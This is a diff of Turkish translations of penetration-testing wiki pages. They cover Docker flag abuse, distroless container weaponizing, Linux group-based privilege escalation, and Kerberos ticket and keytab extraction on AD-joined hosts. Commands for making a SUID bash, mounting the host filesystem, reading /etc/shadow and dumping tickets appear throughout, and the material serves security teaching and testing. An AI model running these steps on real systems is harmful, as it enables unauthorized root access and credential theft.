|
||||
Bazı durumlarda sadece **docker soketine erişiminiz** vardır ve bunu **yetki yükseltmek** için kullanmak istersiniz. Bazı eylemler çok şüpheli olabilir ve bunlardan kaçınmak isteyebilirsiniz, bu nedenle burada yetki yükseltmek için faydalı olabilecek farklı bayraklar bulabilirsiniz:
|
||||
|
||||
### Mount Üzerinden
|
||||
|
||||
Kök olarak çalışan bir konteynerde **dosya sisteminin** farklı bölümlerini **mount** edebilir ve bunlara **erişebilirsiniz**.\
|
||||
Bir konteynerde root olarak çalışan **dosya sisteminin** farklı kısımlarını **mount** edebilir ve onlara **erişebilirsiniz**.\
|
||||
Ayrıca konteyner içinde **yetki yükseltmek için bir mount'ı istismar edebilirsiniz**.
|
||||
|
||||
- **`-v /:/host`** -> Konteynerde ana bilgisayar dosya sistemini mount ederek **ana bilgisayar dosya sistemini okuyabilirsiniz.**
|
||||
- Ana bilgisayarda **bulunduğunuz hissini** yaşamak istiyorsanız ancak konteynerde iseniz, aşağıdaki bayrakları kullanarak diğer savunma mekanizmalarını devre dışı bırakabilirsiniz:
|
||||
- **`-v /:/host`** -> Konteynerde ana bilgisayar dosya sistemini mount edin, böylece **ana bilgisayar dosya sistemini okuyabilirsiniz.**
|
||||
- Eğer **ana bilgisayarda olduğunuzu hissetmek** ama konteynerde olmak istiyorsanız, aşağıdaki bayrakları kullanarak diğer savunma mekanizmalarını devre dışı bırakabilirsiniz:
|
||||
- `--privileged`
|
||||
- `--cap-add=ALL`
|
||||
- `--security-opt apparmor=unconfined`
|
||||
@ -20,24 +20,24 @@ Ayrıca konteyner içinde **yetki yükseltmek için bir mount'ı istismar edebil
|
||||
- `--userns=host`
|
||||
- `--uts=host`
|
||||
- `--cgroupns=host`
|
||||
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Bu, önceki yönteme benzer, ancak burada **cihaz diskini mount ediyoruz**. Daha sonra konteyner içinde `mount /dev/sda1 /mnt` komutunu çalıştırarak **/mnt** içinde **ana bilgisayar dosya sistemine erişebilirsiniz.**
|
||||
- **`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined`** -> Bu, önceki yönteme benzer, ancak burada **cihaz diskini mount ediyoruz**. Daha sonra konteyner içinde `mount /dev/sda1 /mnt` komutunu çalıştırın ve **/mnt** içinde **ana bilgisayar dosya sistemine erişebilirsiniz.**
|
||||
- Mount etmek için `</dev/sda1>` cihazını bulmak için ana bilgisayarda `fdisk -l` komutunu çalıştırın.
|
||||
- **`-v /tmp:/host`** -> Herhangi bir nedenle sadece ana bilgisayardan **bir dizini mount edebiliyorsanız** ve ana bilgisayarda erişiminiz varsa, bunu mount edin ve mount edilen dizinde **suid** ile bir **`/bin/bash`** oluşturun, böylece **ana bilgisayardan çalıştırabilir ve root'a yükselebilirsiniz.**
|
||||
- **`-v /tmp:/host`** -> Eğer bir nedenle sadece ana bilgisayardan **bir dizini mount edebiliyorsanız** ve ana bilgisayar içinde erişiminiz varsa. Mount edin ve mount edilen dizinde **suid** ile bir **`/bin/bash`** oluşturun, böylece **ana bilgisayardan çalıştırabilir ve root'a yükselebilirsiniz.**
|
||||
|
||||
> [!NOTE]
|
||||
> `/tmp` klasörünü mount edemeyebileceğinizi, ancak **farklı bir yazılabilir klasörü** mount edebileceğinizi unutmayın. Yazılabilir dizinleri bulmak için: `find / -writable -type d 2>/dev/null` kullanabilirsiniz.
|
||||
> `/tmp` klasörünü mount edemeyebileceğinizi, ancak **farklı bir yazılabilir klasörü** mount edebileceğinizi unutmayın. Yazılabilir dizinleri bulmak için: `find / -writable -type d 2>/dev/null` komutunu kullanabilirsiniz.
|
||||
>
|
||||
> **Bir linux makinesindeki tüm dizinlerin suid bitini desteklemeyeceğini unutmayın!** Hangi dizinlerin suid bitini desteklediğini kontrol etmek için `mount | grep -v "nosuid"` komutunu çalıştırın. Örneğin genellikle `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` ve `/var/lib/lxcfs` suid bitini desteklemez.
|
||||
> **Unutmayın ki bir linux makinesindeki tüm dizinler suid bitini desteklemeyecektir!** Hangi dizinlerin suid bitini desteklediğini kontrol etmek için `mount | grep -v "nosuid"` komutunu çalıştırın. Örneğin genellikle `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` ve `/var/lib/lxcfs` suid bitini desteklemez.
|
||||
>
|
||||
> Ayrıca **`/etc`** veya **konfigürasyon dosyalarını içeren** herhangi bir klasörü **mount edebiliyorsanız**, bunları docker konteynerinden root olarak değiştirerek **ana bilgisayarda istismar edebilir** ve yetki yükseltebilirsiniz (belki `/etc/shadow` dosyasını değiştirerek).
|
||||
> Ayrıca **`/etc`** veya **konfigürasyon dosyalarını içeren** başka bir klasörü **mount edebiliyorsanız**, bunları docker konteynerinden root olarak değiştirip **ana bilgisayarda istismar edebilir** ve yetki yükseltebilirsiniz (belki `/etc/shadow` dosyasını değiştirerek).
|
||||
|
||||
### Konteynerden Kaçış
|
||||
|
||||
- **`--privileged`** -> Bu bayrak ile [konteynerden tüm izolasyonu kaldırırsınız](docker-privileged.md#what-affects). [Yetkili konteynerlerden root olarak kaçış tekniklerini](docker-breakout-privilege-escalation/index.html#automatic-enumeration-and-escape) kontrol edin.
|
||||
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [yetki istismarını yükseltmek için](../linux-capabilities.md), **bu yetkiyi konteynere verin** ve istismarın çalışmasını engelleyebilecek diğer koruma yöntemlerini devre dışı bırakın.
|
||||
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [yetki istismarını yükseltmek için](../linux-capabilities.md), **o yetkiyi konteynere verin** ve istismarın çalışmasını engelleyebilecek diğer koruma yöntemlerini devre dışı bırakın.
|
||||
|
||||
### Curl
|
||||
|
||||
Bu sayfada docker bayraklarını kullanarak yetki yükseltme yollarını tartıştık, **curl** komutunu kullanarak bu yöntemleri istismar etmenin **yollarını** bulabilirsiniz:
|
||||
Bu sayfada docker bayraklarını kullanarak yetki yükseltme yollarını tartıştık, **curl** komutunu kullanarak bu yöntemleri istismar etmenin **yollarını** sayfada bulabilirsiniz:
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is Distroless
|
||||
## Distroless Nedir
|
||||
|
||||
Distroless bir konteyner, **belirli bir uygulamayı çalıştırmak için yalnızca gerekli bağımlılıkları içeren** bir konteyner türüdür; gereksiz yazılım veya araçlar içermez. Bu konteynerler, **hafif** ve **güvenli** olmaları için tasarlanmıştır ve gereksiz bileşenleri kaldırarak **saldırı yüzeyini minimize etmeyi** hedefler.
|
||||
Distroless bir konteyner, **belirli bir uygulamayı çalıştırmak için gerekli olan bağımlılıkları** içeren bir konteyner türüdür; gereksiz yazılım veya araçlar içermez. Bu konteynerler, **hafif** ve **güvenli** olmaları için tasarlanmıştır ve gereksiz bileşenleri kaldırarak **saldırı yüzeyini minimize etmeyi** hedefler.
|
||||
|
||||
Distroless konteynerler genellikle **güvenlik ve güvenilirliğin ön planda olduğu üretim ortamlarında** kullanılır.
|
||||
|
||||
@ -13,18 +13,18 @@ Distroless konteynerler genellikle **güvenlik ve güvenilirliğin ön planda ol
|
||||
- **Google** tarafından sağlanan: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
|
||||
- **Chainguard** tarafından sağlanan: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
|
||||
|
||||
## Weaponizing Distroless
|
||||
## Distroless'ı Silahlandırma
|
||||
|
||||
Distroless bir konteyneri silahlandırmanın amacı, **sistem üzerindeki yaygın ikili dosyaların eksikliği** ve ayrıca konteynerlerde sıkça bulunan **salt okunur** veya **çalıştırılamaz** gibi korumalarla birlikte **rastgele ikili dosyaları ve yükleri çalıştırabilmektir**.
|
||||
Distroless bir konteyneri silahlandırmanın amacı, **distroless'in getirdiği sınırlamalara** (sistemde yaygın ikili dosyaların eksikliği) rağmen **rastgele ikili dosyaları ve yükleri çalıştırabilmektir**; ayrıca konteynerlerde yaygın olarak bulunan **salt okunur** veya **çalıştırılamaz** gibi korumaları da aşmaktır.
|
||||
|
||||
### Through memory
|
||||
### Bellek Üzerinden
|
||||
|
||||
2023'ün bir noktasında geliyor...
|
||||
2023'ün bir noktasında gelecek...
|
||||
|
||||
### Via Existing binaries
|
||||
### Mevcut ikili dosyalar aracılığıyla
|
||||
|
||||
#### openssl
|
||||
|
||||
\***\*[**Bu yazıda,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) **`openssl`** ikili dosyasının bu konteynerlerde sıkça bulunduğu, muhtemelen konteyner içinde çalışacak yazılım tarafından **gerekli olduğu** açıklanmaktadır.
|
||||
\***\*[**Bu yazıda,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) **`openssl`** ikilisinin bu konteynerlerde sıkça bulunduğu, muhtemelen konteyner içinde çalışacak yazılım tarafından **gerekli** olduğu açıklanmaktadır.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -26,7 +26,7 @@ Tüm suid ikili dosyalarını bulun ve **Pkexec** ikili dosyasının olup olmad
|
||||
```bash
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
Eğer **pkexec** ikilisinin **SUID ikilisi** olduğunu ve **sudo** veya **admin** grubuna ait olduğunuzu bulursanız, muhtemelen `pkexec` kullanarak ikilileri sudo olarak çalıştırabilirsiniz.\
|
||||
Eğer **pkexec'in bir SUID ikili dosyası** olduğunu ve **sudo** veya **admin** grubuna ait olduğunuzu bulursanız, muhtemelen `pkexec` kullanarak ikili dosyaları sudo olarak çalıştırabilirsiniz.\
|
||||
Bu, genellikle bu grupların **polkit politikası** içinde yer alması nedeniyledir. Bu politika, temelde hangi grupların `pkexec` kullanabileceğini belirler. Bunu kontrol etmek için:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
@ -66,19 +66,19 @@ Eğer durum böyleyse, **root olmak için sadece şunu çalıştırabilirsiniz**
|
||||
```
|
||||
sudo su
|
||||
```
|
||||
## Shadow Grubu
|
||||
## Shadow Group
|
||||
|
||||
**shadow** grubundaki kullanıcılar **/etc/shadow** dosyasını **okuyabilir**:
|
||||
```
|
||||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||||
```
|
||||
So, read the file and try to **crack some hashes**.
|
||||
So, dosyayı okuyun ve bazı **hash'leri kırmaya** çalışın.
|
||||
|
||||
## Personel Grubu
|
||||
|
||||
**staff**: Kullanıcıların root ayrıcalıklarına ihtiyaç duymadan sisteme yerel değişiklikler eklemelerine olanak tanır (`/usr/local`) (not: `/usr/local/bin` içindeki çalıştırılabilir dosyalar, herhangi bir kullanıcının PATH değişkenindedir ve aynı isimdeki `/bin` ve `/usr/bin` içindeki çalıştırılabilir dosyaların "üstüne yazabilir"). "adm" grubu ile karşılaştırın, bu grup daha çok izleme/güvenlik ile ilgilidir. [\[source\]](https://wiki.debian.org/SystemGroups)
|
||||
**staff**: Kullanıcıların kök ayrıcalıkları olmadan sisteme yerel değişiklikler eklemelerine izin verir (`/usr/local`) (not: `/usr/local/bin` içindeki çalıştırılabilir dosyalar, herhangi bir kullanıcının PATH değişkenindedir ve aynı isimdeki `/bin` ve `/usr/bin` içindeki çalıştırılabilir dosyaların "üstüne yazabilir"). "adm" grubu ile karşılaştırın, bu grup daha çok izleme/güvenlik ile ilgilidir. [\[source\]](https://wiki.debian.org/SystemGroups)
|
||||
|
||||
Debian dağıtımlarında, `$PATH` değişkeni `/usr/local/`'un en yüksek öncelikle çalıştırılacağını gösterir, ayrıcalıklı bir kullanıcı olup olmadığınız önemli değildir.
|
||||
Debian dağıtımlarında, `$PATH` değişkeni `/usr/local/`'un en yüksek öncelikle çalıştırılacağını gösterir, ayrıcalıklı bir kullanıcı olup olmadığınıza bakılmaksızın.
|
||||
```bash
|
||||
$ echo $PATH
|
||||
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
|
||||
@ -130,7 +130,7 @@ $ /bin/bash -p
|
||||
```
|
||||
## Disk Group
|
||||
|
||||
Bu ayrıcalık neredeyse **root erişimi ile eşdeğerdir** çünkü makinenin içindeki tüm verilere erişebilirsiniz.
|
||||
Bu ayrıcalık neredeyse **root erişimine eşdeğerdir** çünkü makinenin içindeki tüm verilere erişebilirsiniz.
|
||||
|
||||
Dosyalar:`/dev/sd[a-z][1-9]`
|
||||
```bash
|
||||
@ -156,9 +156,9 @@ USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||||
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
|
||||
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||||
```
|
||||
**tty1**, kullanıcının **yossi'nin makinedeki bir terminale fiziksel olarak giriş yaptığını** gösterir.
|
||||
**tty1**, kullanıcının **yossi'nin makinedeki bir terminale fiziksel olarak giriş yaptığını** ifade eder.
|
||||
|
||||
**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın üzerindeki **mevcut görüntüyü ham veri olarak yakalamanız** ve ekranın kullandığı çözünürlüğü almanız gerekir. Ekran verileri `/dev/fb0`'da kaydedilebilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz.
|
||||
**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın **mevcut görüntüsünü ham veri olarak yakalamanız** ve ekranın kullandığı çözünürlüğü almanız gerekir. Ekran verileri `/dev/fb0`'da kaydedilebilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz.
|
||||
```bash
|
||||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null
|
||||
```
|
||||
## Docker Grubu
|
||||
|
||||
**Ana makinenin kök dosya sistemini bir örneğin hacmine bağlayabilirsiniz**, böylece örnek başladığında hemen o hacme `chroot` yükler. Bu, makinede size kök erişimi sağlar.
|
||||
Ana makinenin kök dosya sistemini bir örneğin hacmine **monte edebilirsiniz**, böylece örnek başladığında hemen o hacme `chroot` yükler. Bu, makinede size kök erişimi sağlar.
|
||||
```bash
|
||||
docker image #Get images from the docker service
|
||||
|
||||
@ -199,7 +199,7 @@ Son olarak, eğer daha önceki önerilerden hiçbiri hoşunuza gitmiyorsa veya b
|
||||
../docker-security/
|
||||
{{#endref}}
|
||||
|
||||
Eğer docker soketi üzerinde yazma izinleriniz varsa [**docker soketini kötüye kullanarak nasıl yetki yükselteceğinizi anlatan bu yazıyı**](../index.html#writable-docker-socket)** okuyun.**
|
||||
Eğer docker soketi üzerinde yazma izinleriniz varsa [**docker soketini kötüye kullanarak yetki yükseltme hakkında bu yazıyı**](../index.html#writable-docker-socket)** okuyun.**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/KrustyHack/docker-privilege-escalation
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
Bir linux makinesi, bir Active Directory ortamında da bulunabilir.
|
||||
|
||||
Bir AD'deki linux makinesi **farklı CCACHE biletlerini dosyalar içinde saklıyor olabilir. Bu biletler, diğer kerberos biletleri gibi kullanılabilir ve kötüye kullanılabilir**. Bu biletleri okumak için biletin kullanıcı sahibi olmanız veya makine içinde **root** olmanız gerekir.
|
||||
Bir AD'deki linux makinesi **farklı CCACHE biletlerini dosyalar içinde saklıyor olabilir. Bu biletler, diğer kerberos biletleri gibi kullanılabilir ve kötüye kullanılabilir**. Bu biletleri okumak için, biletin kullanıcı sahibi olmanız veya makine içinde **root** olmanız gerekir.
|
||||
|
||||
## Enumeration
|
||||
|
||||
@ -12,7 +12,7 @@ Bir AD'deki linux makinesi **farklı CCACHE biletlerini dosyalar içinde saklıy
|
||||
|
||||
Linux'ta (veya Windows'ta bash'te) bir AD'ye erişiminiz varsa, AD'yi listelemek için [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) deneyebilirsiniz.
|
||||
|
||||
Linux'tan AD'yi listelemenin **diğer yollarını öğrenmek için** aşağıdaki sayfayı da kontrol edebilirsiniz:
|
||||
Ayrıca **linux'tan AD'yi listelemenin diğer yollarını** öğrenmek için aşağıdaki sayfayı kontrol edebilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-ldap.md
|
||||
@ -20,7 +20,7 @@ Linux'tan AD'yi listelemenin **diğer yollarını öğrenmek için** aşağıdak
|
||||
|
||||
### FreeIPA
|
||||
|
||||
FreeIPA, esasen **Unix** ortamları için Microsoft Windows **Active Directory**'ye açık kaynaklı bir **alternatif**dir. Active Directory'ye benzer yönetim için tam bir **LDAP dizini** ile bir MIT **Kerberos** Anahtar Dağıtım Merkezi'ni birleştirir. CA ve RA sertifika yönetimi için Dogtag **Sertifika Sistemi**'ni kullanarak, akıllı kartlar da dahil olmak üzere **çok faktörlü** kimlik doğrulamayı destekler. Unix kimlik doğrulama süreçleri için SSSD entegre edilmiştir. Daha fazla bilgi için:
|
||||
FreeIPA, Microsoft Windows **Active Directory** için açık kaynaklı bir **alternatif** olup, esasen **Unix** ortamları için tasarlanmıştır. Active Directory'ye benzer yönetim için tam bir **LDAP dizini** ile bir MIT **Kerberos** Anahtar Dağıtım Merkezi'ni birleştirir. CA ve RA sertifika yönetimi için Dogtag **Sertifika Sistemi** kullanarak, akıllı kartlar da dahil olmak üzere **çok faktörlü** kimlik doğrulamayı destekler. Unix kimlik doğrulama süreçleri için SSSD entegre edilmiştir. Daha fazla bilgi için:
|
||||
|
||||
{{#ref}}
|
||||
../freeipa-pentesting.md
|
||||
@ -38,7 +38,7 @@ Bu sayfada, **bir linux ana bilgisayarında kerberos biletlerini bulabileceğini
|
||||
|
||||
### /tmp'den CCACHE bilet yeniden kullanımı
|
||||
|
||||
CCACHE dosyaları, **Kerberos kimlik bilgilerini** saklamak için kullanılan ikili formatlardır ve genellikle `/tmp` içinde 600 izinleriyle saklanır. Bu dosyalar, kullanıcının UID'sine karşılık gelen **isim formatlarıyla `krb5cc_%{uid}`** ile tanımlanabilir. Kimlik doğrulama biletinin doğrulanması için, **çevre değişkeni `KRB5CCNAME`** istenen bilet dosyasının yoluna ayarlanmalıdır, bu da yeniden kullanımını sağlar.
|
||||
CCACHE dosyaları, **Kerberos kimlik bilgilerini saklamak için** kullanılan ikili formatlardır ve genellikle `/tmp` içinde 600 izinleriyle saklanır. Bu dosyalar, kullanıcının UID'si ile ilişkili olan **isim formatları, `krb5cc_%{uid}`,** ile tanımlanabilir. Kimlik doğrulama biletinin doğrulanması için, **çevre değişkeni `KRB5CCNAME`** istenen bilet dosyasının yoluna ayarlanmalıdır, bu da yeniden kullanımını sağlar.
|
||||
|
||||
Kimlik doğrulama için kullanılan mevcut bileti `env | grep KRB5CCNAME` ile listeleyin. Format taşınabilir ve bilet, **çevre değişkenini ayarlayarak** yeniden kullanılabilir: `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos bilet adı formatı `krb5cc_%{uid}` şeklindedir; burada uid, kullanıcının UID'sidir.
|
||||
```bash
|
||||
@ -51,7 +51,7 @@ export KRB5CCNAME=/tmp/krb5cc_1000
|
||||
```
|
||||
### CCACHE bilet yeniden kullanımı anahtar halkasından
|
||||
|
||||
**Bir işlemin belleğinde saklanan Kerberos biletleri çıkarılabilir**, özellikle makinenin ptrace koruması devre dışı bırakıldığında (`/proc/sys/kernel/yama/ptrace_scope`). Bu amaçla yararlı bir araç [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) adresinde bulunur; bu araç, oturumlara enjekte ederek ve biletleri `/tmp` dizinine dökerek çıkarımı kolaylaştırır.
|
||||
**Bir işlemin belleğinde saklanan Kerberos biletleri çıkarılabilir**, özellikle makinenin ptrace koruması devre dışı bırakıldığında (`/proc/sys/kernel/yama/ptrace_scope`). Bu amaçla yararlı bir araç [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) adresinde bulunur; bu araç, oturumlara enjekte ederek biletleri `/tmp` dizinine dökme işlemini kolaylaştırır.
|
||||
|
||||
Bu aracı yapılandırmak ve kullanmak için aşağıdaki adımlar izlenir:
|
||||
```bash
|
||||
@ -60,30 +60,30 @@ cd tickey/tickey
|
||||
make CONF=Release
|
||||
/tmp/tickey -i
|
||||
```
|
||||
Bu prosedür, çeşitli oturumlara enjekte etmeyi deneyecek ve başarıyı, çıkarılan biletleri `/tmp` dizininde `__krb_UID.ccache` adlandırma kuralıyla saklayarak gösterecektir.
|
||||
Bu prosedür, çeşitli oturumlara enjekte etmeyi deneyecek ve başarıyı `/tmp` dizininde `__krb_UID.ccache` adlandırma kuralıyla çıkarılan biletleri depolayarak gösterecektir.
|
||||
|
||||
### SSSD KCM'den CCACHE bilet yeniden kullanımı
|
||||
|
||||
SSSD, veritabanının bir kopyasını `/var/lib/sss/secrets/secrets.ldb` yolunda tutar. İlgili anahtar, `/var/lib/sss/secrets/.secrets.mkey` yolunda gizli bir dosya olarak saklanır. Varsayılan olarak, anahtar yalnızca **root** izinleriniz varsa okunabilir.
|
||||
|
||||
\*\*`SSSDKCMExtractor` \*\*'ı --database ve --key parametreleriyle çağırmak, veritabanını ayrıştıracak ve **gizli bilgileri şifre çözecektir**.
|
||||
**`SSSDKCMExtractor`**'ı --database ve --key parametreleriyle çağırmak, veritabanını ayrıştıracak ve **gizli bilgileri şifre çözecektir**.
|
||||
```bash
|
||||
git clone https://github.com/fireeye/SSSDKCMExtractor
|
||||
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
||||
```
|
||||
**Kimlik bilgisi önbellek Kerberos blob'u, Mimikatz/Rubeus'a geçirilebilecek kullanılabilir bir Kerberos CCache** dosyasına dönüştürülebilir.
|
||||
|
||||
### Keytab'tan CCACHE bilet yeniden kullanımı
|
||||
### CCACHE biletinin keytab'dan yeniden kullanımı
|
||||
```bash
|
||||
git clone https://github.com/its-a-feature/KeytabParser
|
||||
python KeytabParser.py /etc/krb5.keytab
|
||||
klist -k /etc/krb5.keytab
|
||||
```
|
||||
### /etc/krb5.keytab dosyasından hesapları çıkarın
|
||||
### /etc/krb5.keytab dosyasından hesapları çıkar
|
||||
|
||||
Kök ayrıcalıklarıyla çalışan hizmetler için gerekli olan hizmet hesap anahtarları, **`/etc/krb5.keytab`** dosyalarında güvenli bir şekilde saklanır. Bu anahtarlar, hizmetler için şifreler gibi, sıkı bir gizlilik gerektirir.
|
||||
Kök ayrıcalıklarıyla çalışan hizmetler için gerekli olan hizmet hesabı anahtarları, **`/etc/krb5.keytab`** dosyalarında güvenli bir şekilde saklanır. Bu anahtarlar, hizmetler için şifreler gibi, sıkı bir gizlilik gerektirir.
|
||||
|
||||
Keytab dosyasının içeriğini incelemek için **`klist`** kullanılabilir. Bu araç, anahtar türü 23 olarak tanımlandığında, kullanıcı kimlik doğrulaması için **NT Hash** dahil olmak üzere anahtar ayrıntılarını görüntülemek üzere tasarlanmıştır.
|
||||
Keytab dosyasının içeriğini incelemek için **`klist`** kullanılabilir. Bu araç, anahtar türü 23 olarak belirlendiğinde, kullanıcı kimlik doğrulaması için **NT Hash** dahil olmak üzere anahtar detaylarını görüntülemek üzere tasarlanmıştır.
|
||||
```bash
|
||||
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
|
||||
# Output includes service principal details and the NT Hash
|
||||
|
||||
@ -4,44 +4,44 @@
|
||||
|
||||
## **İstisna Seviyeleri - EL (ARM64v8)**
|
||||
|
||||
ARMv8 mimarisinde, İstisna Seviyeleri (EL'ler) olarak bilinen yürütme seviyeleri, yürütme ortamının ayrıcalık seviyesini ve yeteneklerini tanımlar. EL0'dan EL3'e kadar dört istisna seviyesi vardır ve her biri farklı bir amaca hizmet eder:
|
||||
ARMv8 mimarisinde, İstisna Seviyeleri (EL), yürütme ortamının ayrıcalık seviyesini ve yeteneklerini tanımlar. EL0'dan EL3'e kadar dört istisna seviyesi vardır ve her biri farklı bir amaca hizmet eder:
|
||||
|
||||
1. **EL0 - Kullanıcı Modu**:
|
||||
- Bu, en az ayrıcalıklı seviyedir ve normal uygulama kodunu yürütmek için kullanılır.
|
||||
- EL0'da çalışan uygulamalar birbirlerinden ve sistem yazılımından izole edilmiştir, bu da güvenlik ve kararlılığı artırır.
|
||||
- EL0'da çalışan uygulamalar birbirlerinden ve sistem yazılımından izole edilmiştir, bu da güvenliği ve kararlılığı artırır.
|
||||
2. **EL1 - İşletim Sistemi Çekirdek Modu**:
|
||||
- Çoğu işletim sistemi çekirdeği bu seviyede çalışır.
|
||||
- EL1, EL0'dan daha fazla ayrıcalığa sahiptir ve sistem kaynaklarına erişebilir, ancak sistem bütünlüğünü sağlamak için bazı kısıtlamalar vardır.
|
||||
3. **EL2 - Hypervisor Modu**:
|
||||
- Bu seviye sanallaştırma için kullanılır. EL2'de çalışan bir hypervisor, aynı fiziksel donanım üzerinde birden fazla işletim sistemini (her biri kendi EL1'inde) yönetebilir.
|
||||
- EL2, sanallaştırılmış ortamların izolasyonu ve kontrolü için özellikler sağlar.
|
||||
- EL2, sanallaştırılmış ortamların izolasyonu ve kontrolü için özellikler sunar.
|
||||
4. **EL3 - Güvenli İzleyici Modu**:
|
||||
- Bu, en ayrıcalıklı seviyedir ve genellikle güvenli önyükleme ve güvenilir yürütme ortamları için kullanılır.
|
||||
- EL3, güvenli ve güvenli olmayan durumlar arasındaki erişimleri yönetebilir ve kontrol edebilir (örneğin güvenli önyükleme, güvenilir OS vb.).
|
||||
- EL3, güvenli ve güvensiz durumlar (güvenli önyükleme, güvenilir OS vb.) arasındaki erişimleri yönetebilir ve kontrol edebilir.
|
||||
|
||||
Bu seviyelerin kullanımı, kullanıcı uygulamalarından en ayrıcalıklı sistem yazılımlarına kadar sistemin farklı yönlerini yönetmek için yapılandırılmış ve güvenli bir yol sağlar. ARMv8'in ayrıcalık seviyelerine yaklaşımı, farklı sistem bileşenlerini etkili bir şekilde izole etmeye yardımcı olur ve böylece sistemin güvenliğini ve dayanıklılığını artırır.
|
||||
|
||||
## **Kayıtlar (ARM64v8)**
|
||||
|
||||
ARM64, `x0` ile `x30` arasında etiketlenmiş **31 genel amaçlı kayıt** içerir. Her biri **64-bit** (8-byte) bir değeri saklayabilir. Sadece 32-bit değerler gerektiren işlemler için, aynı kayıtlara 32-bit modda `w0` ile `w30` isimleri kullanılarak erişilebilir.
|
||||
ARM64, `x0` ile `x30` arasında etiketlenmiş **31 genel amaçlı kayıt** içerir. Her biri **64-bit** (8-byte) değer saklayabilir. Sadece 32-bit değer gerektiren işlemler için, aynı kayıtlara 32-bit modda `w0` ile `w30` isimleriyle erişilebilir.
|
||||
|
||||
1. **`x0`** ile **`x7`** - Genellikle geçici kayıtlar olarak ve alt programlara parametre geçişi için kullanılır.
|
||||
- **`x0`** ayrıca bir fonksiyonun dönüş verisini taşır.
|
||||
2. **`x8`** - Linux çekirdeğinde, `x8` `svc` talimatı için sistem çağrı numarası olarak kullanılır. **macOS'ta x16 kullanılır!**
|
||||
- **`x0`**, bir fonksiyonun dönüş verisini taşır.
|
||||
2. **`x8`** - Linux çekirdeğinde, `x8`, `svc` talimatı için sistem çağrı numarası olarak kullanılır. **macOS'ta x16 kullanılır!**
|
||||
3. **`x9`** ile **`x15`** - Daha fazla geçici kayıt, genellikle yerel değişkenler için kullanılır.
|
||||
4. **`x16`** ve **`x17`** - **İç Prosedürel Çağrı Kayıtları**. Anlık değerler için geçici kayıtlardır. Ayrıca dolaylı fonksiyon çağrıları ve PLT (Prosedür Bağlantı Tablosu) stub'ları için de kullanılır.
|
||||
- **`x16`**, **macOS**'ta **`svc`** talimatı için **sistem çağrı numarası** olarak kullanılır.
|
||||
5. **`x18`** - **Platform kaydı**. Genel amaçlı bir kayıt olarak kullanılabilir, ancak bazı platformlarda bu kayıt platforma özgü kullanımlar için ayrılmıştır: Windows'ta mevcut iş parçacığı ortam bloğuna işaretçi veya Linux çekirdeğinde mevcut **yürütme görev yapısına** işaretçi.
|
||||
6. **`x19`** ile **`x28`** - Bunlar çağrılan fonksiyon tarafından saklanan kayıtlardır. Bir fonksiyon, bu kayıtların değerlerini çağıran için korumalı tutmalıdır, bu nedenle yığın içinde saklanır ve çağırana geri dönmeden önce geri alınır.
|
||||
6. **`x19`** ile **`x28`** - Bunlar çağrılan fonksiyon tarafından saklanan kayıtlardır. Bir fonksiyon, bu kayıtların değerlerini çağıran için korumalıdır, bu nedenle yığın içinde saklanır ve çağırana geri dönmeden önce geri alınır.
|
||||
7. **`x29`** - Yığın çerçevesini takip etmek için **Çerçeve işaretçisi**. Bir fonksiyon çağrıldığında yeni bir yığın çerçevesi oluşturulduğunda, **`x29`** kaydı **yığında saklanır** ve **yeni** çerçeve işaretçisi adresi (**`sp`** adresi) **bu kayıtta saklanır**.
|
||||
- Bu kayıt ayrıca **genel amaçlı bir kayıt** olarak da kullanılabilir, ancak genellikle **yerel değişkenlere** referans olarak kullanılır.
|
||||
